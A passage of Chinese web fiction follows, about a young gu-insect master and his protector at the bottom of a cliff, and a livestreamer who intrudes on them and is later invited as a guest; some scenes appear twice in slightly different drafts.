直到罗囡囡的身影彻底消失，沈怨肩头的蛊虫才纷纷钻回他的袖中。他立刻扑进许祭的怀里，声音里带着一丝后怕，却又满是得意：“许祭哥哥，我厉害吧！那些虫子都听我的话！” 许祭紧紧抱着他，指尖轻轻摩挲着他的后背，声音里带着难以掩饰的温柔：“厉害。不过下次，不许再这么靠近危险了，知道吗？” “知道啦！”沈怨用力点了点头，抬头冲他笑，眼底的冷冽早已消失不见，只剩下往日的活泼与天真。 老婆婆拄着竹杖缓缓走上前，枯瘦的脸上露出了一丝极淡的笑意。她腰间的铜铃在风里轻轻作响，与沈怨腰间的交相呼应，清脆的声响在崖底回荡。 不远处的茅草屋旁，上官渡与绫司司静静地看着这一切，两人的脸上都带着复杂的神色。绫司司轻轻叹了口气，眼底的最后一丝执念，也渐渐消散。 崖底的阳光越来越暖，溪水潺潺，鸟鸣阵阵。沈怨拉着许祭的手，蹦蹦跳跳地朝着溪边跑去，嘴里还哼着不成调的小曲，仿佛刚才那场剑拔弩张的对峙，从未发生过。 只有风知道，罗囡囡那句“我会再来的”，像一颗种子，埋在了断魂崖底的平静之下。 也只有风知道，沈怨颈间那若隐若现的祭祀印记，在阳光的照射下，正闪烁着一丝微弱却执着的光芒。 罗囡囡的身影还未完全隐入崖顶的晨雾，沈怨突然从许祭怀里挣出，红衣猎猎，指尖一弹，那只通体赤红的蛊虫便如一道血线般射向崖壁，精准地停在罗囡囡脚边的藤蔓上。 少年的声音不再有半分天真，清清脆脆的调子裹着冰碴，直直穿透晨雾：“罗囡囡，我不管你是苗寨的什么司命。” 他歪着头，肩头的翠绿蛊虫振翅嗡鸣，数十只颜色各异的小虫从袖中鱼贯而出，在他周身盘旋成一道诡异的虫阵，“你可以一次次来烦我，可以说那些我听不懂的废话，但你记住——” 沈怨的目光陡然锐利，死死锁住罗囡囡僵住的身影，指尖指向身侧的许祭，一字一顿，带着不容错辨的狠厉：“不要动他。” “哪怕你只是不小心碰到他的衣角，哪怕你只是用眼睛多盯他一秒，我的宝贝们，都会顺着你的气息，爬进你的骨头缝里。” 他抬手打了个响指，那只赤红蛊虫突然弓起身子，对着罗囡囡的鞋尖喷出一缕极淡的红雾。雾气落地的瞬间，下方的腐叶竟以肉眼可见的速度化为一滩黑水。 “它们会先啃食你的四肢，再钻进你的心脏，最后啃噬你的魂魄。”沈怨的声音依旧清脆，却带着令人毛骨悚然的寒意，“让你活着感受每一分痛苦，却连死都成为一种奢望。” 许祭站在沈怨身后，看着少年明明还带着稚气的侧脸，看着他周身护犊子般的虫阵，心底的柔软与震撼交织成潮。他没有上前，只是静静站着，成为沈怨最坚实的后盾。 罗囡囡低头看着脚边那滩黑水，又抬头望向沈怨眼底的决绝，身体控制不住地微微颤抖。她能清晰地感觉到，那些蛊虫身上散发出的致命气息，更能感觉到，沈怨说的每一个字，都不是玩笑。 她缓缓抬起头，目光掠过沈怨，落在许祭身上，最终又回到沈怨脸上，声音里带着一丝不易察觉的妥协：“我……不会动他。” “最好是这样。”沈怨冷哼一声，抬手又是一个响指。盘旋的蛊虫瞬间收势，纷纷钻回他的袖中，只留下那只赤红蛊虫，依旧停在罗囡囡脚边的藤蔓上，虎视眈眈。 “滚吧。”沈怨挥了挥手，语气里满是不耐，“下次再来，记得先掂量掂量，自己的命，够不够赔。” 罗囡囡深深看了沈怨一眼，又看了看许祭，最终咬了咬嘴唇，转身顺着藤蔓继续向上爬。这一次，她的脚步快了许多，连带着蓝布飘带都被风吹得猎猎作响，再也没有了来时的从容。 直到罗囡囡的身影彻底消失在崖顶，那只赤红蛊虫才振翅飞回，落在沈怨的肩头，亲昵地蹭了蹭他的脖颈。 沈怨立刻转身扑进许祭的怀里，刚才的冷冽与狠厉瞬间消失得无影无踪，声音里带着一丝后怕的委屈：“许祭哥哥，她刚才看你的眼神，好讨厌。” 许祭紧紧抱着他，指尖轻轻摩挲着他后背的红衣，声音里带着化不开的温柔：“不怕，有阿怨在，谁也不能伤害我。” “嗯！”沈怨用力点了点头，抬头冲他笑，眼底的冰碴早已融化成漫天星光，“以后谁要是敢动许祭哥哥，我就让我的宝贝们把他啃得连骨头都不剩！” 老婆婆拄着竹杖缓缓走上前，枯瘦的脸上露出了一丝极淡的笑意，沙哑的声音里带着一丝赞许：“傻孩子，护得好。” 不远处的茅草屋旁，上官渡与绫司司静静地看着这一幕，两人的脸上都带着复杂的神色。绫司司轻轻叹了口气，低声道：“他是真的，把许祭放在心尖上了。” 上官渡点了点头，目光望向苗寨的方向，眼底闪过一丝不易察觉的怅惘，却最终还是化为了释然。 崖底的阳光越来越暖，溪水潺潺，鸟鸣阵阵。沈怨拉着许祭的手，蹦蹦跳跳地朝着溪边跑去，嘴里还哼着不成调的小曲，肩头的赤红蛊虫轻轻振翅，与他腰间的铜铃交相呼应，清脆的声响在崖底回荡。 仿佛刚才那场带着致命威胁的对峙，从未发生过。 只有风知道，沈怨那句“不要动他”，像一道不可逾越的鸿沟，横亘在了罗囡囡与苗寨的执念之间。 也只有风知道，许祭的心间，正被少年那份纯粹而决绝的守护，填得满满当当。 日头爬到崖顶藤蔓的梢头时，一阵突兀的喧闹声顺着风传了下来，打破了断魂崖底惯有的宁静。不是苗寨人的呼喊，也不是兵刃的碰撞，而是夹杂着笑声、惊呼声，还有一种从未听过的、滋滋作响的奇怪声响。 沈怨正趴在许祭的膝盖上，玩着他指间的薄茧，肩头的赤红蛊虫懒洋洋地缩着身子。听到声音，他立刻抬起头，眼睛亮晶晶的：“许祭哥哥，是什么声音？比小鸟唱歌还热闹！” 许祭的眉头瞬间皱起，将沈怨护到身后，目光警惕地望向崖顶。老婆婆放下手中的草药，枯瘦的手指轻轻摩挲着竹杖上的纹路，眼底闪过一丝疑惑：“这气息，不是苗寨人，也不是山里的精怪。” 很快，几道身影连滚带爬地从崖壁上滑了下来，为首的是个穿着花花绿绿衣服的年轻姑娘，头发染成了惹眼的黄色，手里举着一个黑黢黢的方块盒子，正对着镜头手舞足蹈。她的身后跟着两个扛着大包小包的年轻人，一个个气喘吁吁，脸上却满是兴奋。 “家人们！你们看到了吗？这里就是传说中的断魂崖底！”姑娘的声音尖利又兴奋，对着手中的盒子不停比划，“都说跳下去的人无一生还，可我，网红苏小小，今天不仅下来了，还要带你们探索这里的秘密！” 她一边说，一边举着盒子四处拍摄，当镜头扫到沈怨和许祭时，眼睛瞬间亮得惊人：“哇！家人们！这里竟然还有人！还是两个颜值这么高的小哥哥！” 苏小小立刻丢下身后的同伴，举着盒子冲到两人面前，镜头怼得极近，几乎要碰到沈怨的脸。沈怨被这突如其来的热情吓了一跳，往许祭怀里缩了缩，肩头的赤红蛊虫瞬间振翅，发出威胁性的嗡鸣。 “哎？这是什么虫子？好漂亮啊！”苏小小不仅不怕，反而更兴奋了，伸手就想去碰那只赤红蛊虫，“家人们快看！这崖底的虫子都这么特别！我摸一下给你们看看！” “别碰他！”许祭的声音冷得像冰，伸手一把打开苏小小的手，目光里的寒意几乎要将人冻结，“这里不是你该来的地方，立刻离开。” 苏小小被推得一个趔趄，脸上的笑容瞬间僵住，随即又换上一副委屈的表情，对着镜头哭诉：“家人们你们看到了吗？这里的人好凶啊！我只是想和他们打个招呼而已！” 她身后的两个同伴立刻上前，对着许祭怒目而视：“你怎么能推人呢？我们苏姐可是百万粉丝的网红！来这里是给你们涨名气的！” “网红是什么？能吃吗？”沈怨从许祭怀里探出头，歪着头打量着苏小小，眼底满是懵懂，“比发光的蘑菇还好吃吗？” 苏小小听到这话，先是一愣，随即像是发现了新大陆一样，举着盒子对准沈怨：“家人们！这个小哥哥好可爱啊！竟然不知道什么是网红！我来给你们解释一下，网红就是……” 她的话还没说完，沈怨突然皱起了眉头，指尖轻轻一弹，肩头的赤红蛊虫便朝着苏小小手中的盒子飞去。只听“滋啦”一声，那黑黢黢的盒子瞬间冒起了黑烟，屏幕一闪，彻底没了声响。 “啊！我的直播设备！”苏小小发出一声惨叫，心疼地捧着盒子，眼泪都快掉下来了，“这可是我花了好几万买的！你赔我！” “是你先烦我们的。”沈怨的声音依旧清脆，却带着一丝冷冽，肩头的数十只蛊虫瞬间飞了出来，将苏小小和她的同伴团团围住，“婆婆说，不喜欢的人，就要赶跑。你们吵到我和许祭哥哥了。” “虫子！好多虫子！”两个同伴瞬间吓得脸色惨白，连连后退，差点摔进旁边的腐叶堆里。 苏小小看着周身那些颜色各异、虎视眈眈的蛊虫，终于感受到了恐惧，她再也没有了刚才的嚣张，声音颤抖着：“你……你们想干什么？我警告你们，我可是百万粉丝的网红！你们要是敢动我，我的粉丝不会放过你们的！” “粉丝是什么？能吃吗？”沈怨歪着头，眼底的冷意更甚，“我只知道，你们再不走，我的宝贝们，会让你们永远留在这里。” 他抬手打了个响指，那些蛊虫立刻朝着三人俯冲下去，虽然没有真的蛰下去，却吓得他们连连尖叫。 许祭站在沈怨身后，目光冷冽地扫过三人：“滚。下次再敢来，就不是毁了设备这么简单了。” 苏小小再也不敢多说一个字，连滚带爬地带着同伴朝着崖壁跑去，连掉在地上的包都顾不上捡。三人顺着藤蔓往上爬，速度比来时快了十倍不止，只留下一路的哭喊声和求饶声。 直到三人的身影彻底消失在崖顶，沈怨肩头的蛊虫才纷纷钻回他的袖中。他立刻扑进许祭的怀里，声音里带着一丝得意：“许祭哥哥，我厉害吧！那些人被我的宝贝们吓得屁滚尿流！” “厉害。”许祭紧紧抱着他，指尖轻轻摩挲着他的后背，声音里带着化不开的温柔，“不过下次，不用亲自出手，我来就好。” “不要！”沈怨用力摇了摇头，抬头冲他笑，“我要保护许祭哥哥！谁要是敢烦我们，我就赶跑谁！” 老婆婆拄着竹杖缓缓走上前，枯瘦的脸上露出了一丝极淡的笑意，沙哑的声音里带着一丝赞许：“傻孩子，做得好。” 不远处的茅草屋旁，上官渡与绫司司静静地看着这一幕，两人的脸上都带着忍俊不禁的神色。绫司司轻轻笑了笑，低声道：“没想 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可刚一踏进苗寨的地界，苏小小眼中的恐惧便瞬间被狂热取代。她顾不上整理自己的狼狈，立刻从随身的小包里翻出备用的直播设备——那是一台小巧的手机，电量还剩大半。她手指颤抖着点开直播软件，瞬间，密密麻麻的弹幕便涌满了屏幕。 【苏姐！你终于回来了！我们都快担心死了！】 【断魂崖底到底怎么样？真的有去无回吗？】 【苏姐的衣服怎么破了？是不是遇到危险了？】 苏小小深吸一口气，调整出一副委屈又兴奋的表情，对着镜头挤出两滴眼泪，声音带着哭腔却又刻意拔高，确保每个字都能清晰地传进麦克风里：“家人们！你们不知道！我刚才在断魂崖底，差点就回不来了！” 她一边说，一边举着手机在苗寨的吊脚楼间走动，镜头扫过苗寨特有的靛蓝色服饰，扫过寨门前刻着古老纹路的木牌，最后停在自己破烂的衣角上：“你们看！这都是被崖底的藤蔓划的！而且那里根本不是什么绝地，里面竟然还住着人！” 弹幕瞬间炸开了锅。 【什么？断魂崖底有人住？！】 【真的假的？苏姐你别骗我们啊！】 【是什么样的人？会不会是隐居的高人？】 苏小小见状，心中的得意更甚，她故意压低声音，做出一副神秘的样子：“家人们！我跟你们说，那里住着两个小哥哥，一个穿红衣，一个穿青衣，颜值高到逆天！但是！他们超级凶！” 她顿了顿，对着镜头控诉道：“我只是想跟他们打个招呼，想给你们看看崖底的人，结果那个穿红衣的小哥哥，竟然放出一堆奇奇怪怪的虫子！我的几万块的直播设备，当场就被虫子烧坏了！” 她说着，举起那台已经黑屏的设备，镜头怼得极近，让粉丝们能清晰地看到上面的焦痕：“你们看！这就是证据！那些虫子可吓人了，通体赤红，还有翠绿的、漆黑的，一个个都带着毒！” 【我的天！这么恐怖吗？】 【穿红衣的小哥哥？还会放虫子？不会是蛊师吧？】 【苗寨不是一直有蛊术的传说吗？难道断魂崖底的人，是苗寨的蛊师？】 苏小小的眼睛瞬间亮了起来，她显然也想到了这一点，立刻顺着粉丝的话头往下说：“家人们！你们说到点子上了！我怀疑他们就是苗寨失传的蛊师！而且我跟你们说，苗寨的人都认识那个穿红衣的小哥哥！” 她突然转身，将镜头对准不远处正站在寨门前的罗囡囡，声音里带着一丝激动：“家人们！你们看！那就是苗寨的司命！她刚才跟我说，那个穿红衣的小哥哥，其实是苗寨的大祭祀！因为跳崖失去了记忆，才留在了崖底！” 镜头里的罗囡囡穿着靛蓝色的司命长裙，神情清冷，察觉到苏小小的镜头，她眉头微皱，却并未上前阻止。苗寨的族人们也纷纷围了过来，一个个对着镜头，七嘴八舌地诉说着对沈司南的思念，诉说着苗寨如今的困境。 【苗寨大祭祀？跳崖失忆？这剧情也太抓马了吧！】 【所以那个红衣小哥哥，是苗寨的守护神？】 【苏姐！快带我们去看看苗寨的其他地方！我们想知道更多关于大祭祀的事情！】 苏小小见直播间的人数正在疯狂上涨，礼物刷得飞起，心中的狂喜几乎要溢出来。她立刻举着手机，跟在罗囡囡身后，一边走一边对着镜头喋喋不休：“家人们！接下来我带你们探索苗寨的秘密！带你们了解这位神秘的大祭祀！据说苗寨的司命，正在想办法把大祭祀接回来呢！” 她的声音在苗寨的吊脚楼间回荡，带着一种志在必得的嚣张。镜头扫过苗寨的古老建筑，扫过族人们期盼的脸庞，扫过罗囡囡眼底的执拗，最终定格在苗寨深处那座空置已久的祭祀竹楼上。 直播间的弹幕还在疯狂滚动，礼物特效铺满了屏幕。没有人注意到，罗囡囡的脚步越来越快，眼底的决绝越来越浓。也没有人注意到，苗寨的族人们脸上，除了期盼，还有一丝不易察觉的担忧。 苏小小还在对着镜头吹嘘着自己的“勇敢”，吹嘘着自己即将揭开的“大秘密”。她丝毫没有意识到，自己这场为了流量的直播，不仅将苗寨的秘密公之于众，更将断魂崖底的沈怨与许祭，推到了风口浪尖。 而远在断魂崖底的沈怨，正拉着许祭的手，蹲在溪边捞着发光的石子，肩头的赤红蛊虫轻轻振翅，与他腰间的铜铃交相呼应。他丝毫不知道，一个素不相识的网红，已经将他的存在，暴露在了一个他从未接触过的世界里。 阳光洒在苗寨的吊脚楼上，也洒在断魂崖底的腐叶堆上。两个截然不同的世界，因为一场直播，被强行连接在了一起。 没有人知道，这场直播，会给苗寨，给沈怨，给许祭，带来怎样翻天覆地的变化。 苏小小举着云台相机在苗寨的晒谷场直播正酣，镜头里是苗寨妇人手中翻飞的竹筛，五色糯米饭在阳光下泛着诱人的光泽。她对着领夹麦克风眉飞色舞地吹嘘，声音里满是志在必得的兴奋：“家人们！这就是苗寨独有的五色糯米饭！老人们说，只有等大祭祀归位，才能蒸出最具灵性的味道！” 直播间的弹幕疯狂滚动，礼物特效铺满屏幕，在线人数正以肉眼可见的速度飙升。就在这时，一道熟悉的青布身影从晒谷场的入口走来，身形挺拔，眉眼冷冽，正是趁着沈怨午睡、独自来苗寨取草药的许祭。 苏小小的眼睛瞬间亮得惊人，比在断魂崖底见到蛊虫时还要狂热。她立刻示意身后的助手跟上，自己则举着云台相机快步迎了上去，镜头稳稳锁定许祭的身影，连呼吸都带着难以掩饰的激动：“家人们！重磅惊喜！你们看我遇到了谁！这就是我跟你们说的，断魂崖底那位穿青衣的小哥哥！就是他，一直守在那位红衣蛊师小哥哥身边！” 直播间瞬间炸开了锅。 【卧槽！真的是他！这颜值，吊打娱乐圈小鲜肉啊！】 【他怎么会来苗寨？是不是来接大祭祀回去的？】 【快问问他！红衣小哥哥什么时候能归位？苗寨现在到底怎么样了？】 许祭的眉头瞬间皱成了川字，周身的寒气几乎要将周围的空气冻结。他没有后退，反而迎着镜头上前一步，目光冷得像冰，直直锁定苏小小：“把镜头关了。” “小哥哥！你别这么高冷嘛！”苏小小不仅没关，反而举着云台相机跟得更紧了，领夹麦克风几乎要贴到他的嘴边，“你的粉丝都在屏幕前等着呢！就跟大家打个招呼，说说你和红衣小哥哥在崖底的生活，好不好？” 她身后的助手立刻默契地调整了补光灯的角度，将许祭的身影照得一清二楚。苗寨的族人们也纷纷围了上来，一个个对着镜头探头探脑，眼神里有好奇，有警惕，还有一丝不易察觉的敌意。 许祭的眼底闪过一丝杀意，手悄然摸向了腰间——那里没有短刀，只有给沈怨带的一颗亮晶晶的萤石。他深吸一口气，指尖的萤石被攥得温热，声音里的冷冽却更甚：“我再说一遍，关了直播。” “小哥哥！你就配合一下嘛！”苏小小依旧不死心，举着云台相机在他面前灵活地走位，生怕错过任何一个镜头，“你知道吗？现在直播间有上百万人在看！你只要说一句话，就能让更多人知道断魂崖底的故事，知道苗寨的等待！” “故事？等待？”许祭的嘴角勾起一抹嘲讽的弧度，目光扫过周围围观的族人，扫过苏小小那张被流量冲昏头脑的脸，最终落在她手中的云台相机上，“你想直播，我便让你播个够。” 这话一出，苏小小先是一愣，随即脸上的狂喜几乎要溢出来：“真的吗小哥哥？你愿意配合我了？” 许祭没有回答她，而是突然转身，对着镜头，声音清晰而冷冽，一字一顿地透过麦克风传向直播间的每一个角落：“断魂崖底，是沈怨的家。他不是你们口中的蛊师，也不是苗寨的大祭祀。他只是一个喜欢发光蘑菇、喜欢听小鸟唱歌的少年。” “你们追捧的流量，你们好奇的秘密，于他而言，不过是打扰平静生活的噪音。”许祭的目光陡然锐利，直直穿透镜头，仿佛在看着屏幕前的每一个人，“苗寨的执念，网红的流量，都不该成为绑架他的理由。” 他顿了顿，目光重新落回苏小小身上，声音里带着不容错辨的狠厉：“我不会让你走。我要你当着所有人的面，说清楚——断魂崖底的沈怨，与苗寨无关，与你们的好奇心无关。” 苏小小的脸色瞬间变得惨白，她怎么也没想到，许祭不仅没有配合，反而会借着她的直播，说出这样一番话。她下意识地想关掉直播，却被许祭眼疾手快地扣住了手腕。 许祭的力气极大，苏小小疼得龇牙咧嘴，却根本挣不脱。她身后的助手想上前帮忙，却被许祭一个冰冷的眼神吓退，站在原地不敢动弹。 直播间的弹幕瞬间变了风向。 【卧槽！这反转！青衣小哥哥也太刚了吧！】 【突然觉得苏小小有点过分了！人家只想平静生活啊！】 【支持青衣小哥哥！流量不能绑架别人的人生！】 【苗寨的执念也太可怕了！沈怨只想做自己啊！】 罗囡囡闻声赶来时，看到的就是许祭扣着苏小小的手腕，镜头正对着许祭冷冽的脸，直播间的弹幕已经彻底倒向了许祭。她走到许祭身边，目光落在他紧扣着苏小小手腕的手上，声音清泠如泉水：“你想做什么？” “让她把话说清楚。”许祭的声音依旧冷冽，却带着一丝不容错辨的坚定，“让所有人都知道，沈怨不是他们可以随意窥探、随意绑架的对象。” 苏小小看着直播间里越来越多的质疑声，看着自己不断下降的粉丝数，终于崩溃了。她哭着对着麦克风喊道：“我错了！我不该打扰沈怨的生活！他只是一个普通的少年！与苗寨无关！与蛊师无关！” 许祭这才缓缓松开了她的手腕，声音里带着一丝警告：“滚。下次再让我看到你出现在苗寨，或者靠近断魂崖底，就不是让你道歉这么简单了。” 苏小小再也不敢多说一个字，连滚带爬地带着助手跑了，云台相机和麦克风都丢在了地上。她的身后，苗寨族人纷纷散开，看着许祭的背影，眼神复杂。 罗囡囡走到许祭身边，目光落在他手中那颗亮晶晶的萤石上，声音里带着一丝不易察觉的叹息：“你还是要护着他，护到底。” “自然。”许祭的声音依旧冷冽，却带着一丝难以掩饰的温柔，“他是我的阿怨，我不护着他，谁护着他。” 他说着，从怀里掏出那包早已准备好的草药，转身朝着寨门外走去。肩头那只沈怨悄悄放在他衣襟里的赤红蛊虫，轻轻振翅，与他腰间那颗亮晶晶的萤石交相辉映。 阳光洒在苗寨的晒谷场上，洒在许祭渐行渐远的背影上。罗囡囡站在原地，看着他的身影消失在寨门处，眼底的执拗与无奈交织在一起。 直播间的弹幕还在疯狂滚动，粉丝们还在讨论着这场反转的直播，可苏小小早已没了继续直播的心思。没有人知道，这场突如其来的偶遇，会给苏小小带来怎样的流量反噬。也没有人知道，许祭的这次苗寨之行，会给断魂崖底的平静生活，带来怎样的变数。 只有那只赤红的蛊虫知道，许祭的心中，从来都只有一个念头——护着沈怨，直到永远。 苏小小躲在苗寨后山的密林中，正对着云台相机唉声叹气。晒谷场的直播翻车后，粉丝掉了大半，私信里全是质疑和谩骂，她不甘心就这么灰溜溜地离开，便想着来后山碰碰运气，看看能不能拍到什么苗寨的“隐秘”，挽回一点流量。 就在她对着镜头强颜欢笑，试图编造“苗寨秘境探索”的剧本时，一道红衣身影突然从林间的薄雾中走出。 沈怨正追着一只色彩斑斓的蝴蝶，脚步轻快，红衣的衣角被风吹得猎猎作响，肩头的赤红蛊虫懒洋洋地缩着身子，腰间的铜铃叮当作响。他看到苏小小时，没有像上次那样立刻露出冷冽的神色，反而歪着头，眼底满是懵懂的好奇。 苏小小的眼睛瞬间亮了起来，比看到流量暴涨时还要兴奋。她立刻调整好云台相机的角度，镜头稳稳锁定沈怨的身影，对着领夹麦克风压着声音，却难掩激动：“家人们！你们敢信吗？我竟然在苗寨后山遇到了那位红衣小哥哥！” 直播间的人数瞬间开始回升，弹幕疯狂滚动。 【卧槽！真的是沈怨吗？他怎么会来苗寨后山？】 【不是说他不喜欢被打扰吗？苏姐这次别再惹他了！】 【快！镜头拉近点！我要看小哥哥的盛世美颜！】 苏小小深吸一口气，努力挤出一副温和的笑容，小心翼翼地朝着沈怨走去，生怕自己的动作太过急切，惹得少年不快：“小哥哥，你好呀！我叫苏小小，我们之前在断魂崖底见过的。” 沈怨停下追逐蝴蝶的脚步，目光落在苏小小手中的云台相机上，眼底的好奇更甚。他没有像上次那样召唤蛊虫，反而轻轻点了点头，脆生生地回应：“你好呀。你手里的这个东西，为什么一直在对着我？” 苏小小简直不敢相信自己的耳朵——眼前的沈怨，竟然比她想象中还要好说话！她立刻抓住机会，对着镜头比了个胜利的手势，这才对着沈怨耐心解释：“这个是相机，我正在直播，有很多人在屏幕那边看着你呢。” “直播？”沈怨歪着头，手指轻轻戳了戳云台相机的镜头，“就是很多人一起看我吗？像崖底的小鸟，一起看我和许祭哥哥捞石子那样？” “对对对！”苏小小忙不迭地点头，生怕错过这个千载难逢的机会，“就是很多人一起看你！大家都很喜欢你，都想知道你平时喜欢做什么。” 直播间的弹幕瞬间被“好可爱”“想捏脸”刷屏。 【小哥哥也太萌了吧！完全没有之前的高冷感！】 【原来他只是不懂什么是直播啊！苏姐快问问他！】 【问问他和青衣小哥哥在崖底的生活！我太好奇了！】 沈怨听到“喜欢”两个字，脸上的笑意更浓了。他从怀里掏出一颗亮晶晶的萤石，递到苏小小的面前，声音里带着少年人的天真：“我喜欢和许祭哥哥一起，去崖底捞发光的石子，去看会发光的蘑菇，去听小鸟唱歌。这个送给你，它在晚上会发光哦。” 苏小小激动得差点跳起来，她小心翼翼地接过萤石，对着镜头展示了一番，这才继续追问：“小哥哥，你为什么会来苗寨后山呀？是和许祭哥哥一起来的吗？” “嗯！”沈怨用力点了点头，目光朝着密林的深处望去，声音里带着一丝期待，“许祭哥哥去给婆婆找草药了，让我在这里等他。我看到一只很漂亮的蝴蝶，就追着过来了。” 他说着，又像是想起了什么似的，对着镜头挥了挥手，脆生生地喊道：“屏幕那边的大家，你们好呀！我叫沈怨，你们喜欢发光的蘑菇吗？下次我可以带你们一起看哦！” 直播间的在线人数瞬间突破了百万，礼物特效铺满了屏幕。苏小小笑得合不拢嘴，她怎么也没想到，一向对人冷冽的沈怨，今天竟然会如此好说话。她立刻抓住机会，对着沈怨抛出一个又一个问题，从崖底的风景，到他喜欢的小虫子，每一个问题，沈怨都耐心地回答，声音清脆，语气天真。 罗囡囡寻着动静赶来时，看到的就是这样一幅画面——沈怨正对着云台相机，手舞足蹈地讲述着崖底会发光的蘑菇，而苏小小则举着相机，笑得一脸得意。她的眉头瞬间皱了起来，快步走上前，声音里带着一丝冷意：“苏小姐，你不该在这里。” “罗司命！”苏小小立刻回头，脸上的笑容依旧灿烂，“你看，沈怨小哥哥今天心情很好呢！他正在和我的粉丝们打招呼呢！” 沈怨看到罗囡囡，脸上的笑意淡了几分，却没有立刻召唤蛊虫。他只是轻轻皱了皱眉，声音里带着一丝不解：“罗姐姐，你怎么来了？我在和小小姐姐还有屏幕那边的大家聊天呢。” 罗囡囡的目光落在沈怨手中的云台相机上，眼底闪过一丝复杂的光芒。她没有上前阻止，只是静静地站在一旁，看着沈怨对着镜头，继续讲述着他和许祭在崖底的平静生活。 就在这时，一道青布身影从密林深处走来，正是取完草药的许祭。他看到沈怨正对着苏小小的相机说话时，眉头瞬间皱成了川字，周身的寒气几乎要将周围的空气冻结。 可当他的目光落在沈怨脸上那纯粹的笑容时，心底的怒火瞬间被压了下去。他快步走到沈怨身边，伸手将他护在自己的怀里，声音里带着化不开的温柔：“阿怨，我们该回去了。” “好呀！”沈怨立刻点了点头，对着苏小小和镜头挥了挥手，脆生生地喊道，“小小姐姐，屏幕那边的大家，我要和许祭哥哥回去了！下次我再带你们看发光的蘑菇！” 苏小小忙不迭地挥手回应，看着两人相依离去的背影，脸上的笑容得意又满足。她对着镜头，声音里带着一丝志在必得的兴奋：“家人们！你们看到了吗？这就是沈怨小哥哥最真实的样子！是不是很可爱？关注我，下次我带你们去断魂崖底，看最真实的风景！” 直播间的弹幕还在疯狂滚动，粉丝数正在以肉眼可见的速度飙升。苏小小丝毫没有意识到，沈怨今天的格外好说话，不过是因为他对“直播”这个新鲜事物的好奇，也没有意识到，许祭那冰冷的目光，已经将她牢牢锁定。 阳光洒在苗寨后山的密林中，洒在两人相依离去的背影上。罗囡囡站在原地，看着苏小小兴奋的模样，眼底的执拗与无奈交织在一起。 没有人知道，沈怨今天的好奇，会给断魂崖底的平静生活，带来怎样的变数。也没有人知道，许祭的心中，已经开始盘算着，如何让这个不知深浅的网红，永远远离他们的生活。 许祭牵着沈怨的手正要转身离开，苏小小突然鼓足勇气追了两步，声音里带着一丝小心翼翼的试探：“沈怨小哥哥，许祭小哥哥……能不能……加一下你们的微信啊？” 她生怕自己的请求惹来许祭的冷脸，忙不迭补充道：“我保证！绝对不会随便打扰你们！就是下次我如果还来苗寨，想提前跟你们打个招呼，免得又不小心打扰到你们的生活！” 直播间的弹幕瞬间炸开了锅。 【苏姐牛啊！这都敢提！】 【许祭小哥哥肯定不会同意的吧？他之前那么冷！】 【沈怨小哥哥快点头！我想蹲一个好友位！】 沈怨歪着头，一脸懵懂地看向许祭：“许祭哥哥，微信是什么呀？是可以一起看发光蘑菇的朋友吗？” 许祭的眉头微不可察地皱了一下，目光扫过苏小小手中还在运转的云台相机，又低头看向沈怨眼底纯粹的好奇。他沉默了片刻，指尖轻轻摩挲着沈怨温热的掌心，最终缓缓点了点头。 “可以。”许祭的声音依旧清冷，却少了几分之前的冷冽，“但你要记住你说的话，不许随便打扰。” 苏小小简直不敢相信自己的耳朵，激动得差点跳起来。她立刻手忙脚乱地掏出手机，打开微信二维码，生怕许祭下一秒就反悔。许祭拿出手机，快速扫了码，通过了好友请求，全程没有看苏小小一眼，注意力始终落在沈怨身上。 沈怨看着两人的动作，眼底的好奇更甚。他拉了拉许祭的衣角，脆生生地说：“许祭哥哥，既然小小姐姐是朋友了，那我们邀请她去崖底做客吧！” “做客？”苏小小猛地抬头，眼睛亮得像两颗星星，连手中的云台相机都差点拿不稳，“真的可以吗？去断魂崖底做客？” “当然可以啦！”沈怨用力点了点头，脸上露出了灿烂的笑容，“崖底有好多发光的蘑菇，还有会唱歌的小鸟，我可以带小小姐姐去看！许祭哥哥做的烤鱼也超级好吃，我让他烤给你吃！” 他说着，还不忘对着苏小小的云台相机挥了挥手，声音清脆地对着屏幕前的粉丝们喊道：“屏幕那边的大家也可以一起来哦！不过崖底的路不好走，你们要小心一点！” 直播间的在线人数瞬间突破了两百万，礼物特效几乎要将屏幕淹没。 【卧槽！沈怨小哥哥也太热情了吧！】 【我酸了！苏姐竟然能去断魂崖底做客！】 【求直播！求带我们看发光的蘑菇！】 许祭的眉头再次皱了起来，他本想拒绝，可看着沈怨脸上那副期待的模样，到了嘴边的话又咽了回去。他轻轻揉了揉沈怨的头发，声音里带着一丝无奈，却又满是温柔：“好，都听阿怨的。” “太好了！”沈怨开心地跳了起来，拉着许祭的手，又对着苏小小招了招手，“小小姐姐，我们现在就可以带你去哦！许祭哥哥的草药已经采好了，我们正好可以一起回去！” 苏小小忙不迭地点头，脸上的笑容得意又满足。她对着镜头比了个耶的手势，声音里带着难以掩饰的兴奋：“家人们！你们听到了吗？沈怨小哥哥邀请我去断魂崖底做客！接下来我会带你们一起探索崖底的秘密，看发光的蘑菇，吃许祭小哥哥烤的鱼！” 罗囡囡站在一旁，看着这一幕，眼底闪过一丝复杂的光芒。她想说些什么，最终却还是沉默着，没有上前阻止。 许祭牵着沈怨的手，走在前面，脚步不快，显然是在等着苏小小。沈怨时不时回头，对着苏小小挥手，嘴里还不停地介绍着崖底的趣事，肩头的赤红蛊虫轻轻振翅，与他腰间的铜铃交相辉映。 苏小小举着云台相机，紧紧跟在两人身后，镜头始终锁定着他们的身影。她的心里充满了兴奋与期待，丝毫没有察觉到，许祭偶尔回头时，落在她身上的目光里，带着一丝不易察觉的审视。 阳光洒在苗寨后山的密林中，透过树叶的缝隙，在地上投下斑驳的光影。沈怨的笑声，许祭温柔的回应，还有苏小小兴奋的解说声，一同在密林中回荡。 直播间的弹幕还在疯狂滚动，粉丝们还在期待着断魂崖底的直播。没有人知道，这场看似热情的邀请，会给断魂崖底的平静生活，带来怎样的变数。也没有人知道，许祭同意加微信的背后，藏着怎样的心思。 只有那只赤红的蛊虫知道，许祭的心中，从来都只有一个念头——只要沈怨开心，他可以包容一切，哪怕是这个会带来麻烦的网红。 13. 朋友 苏小小扛着云台相机，跟在许祭与沈怨身后，深一脚浅一脚地顺着崖壁的藤蔓往下爬。断魂崖底的瘴气还未完全散尽，薄雾缠在藤蔓间，带着潮湿的草木气息，与她想象中的“绝地秘境”截然不同，反而透着一股沁人心脾的宁静。 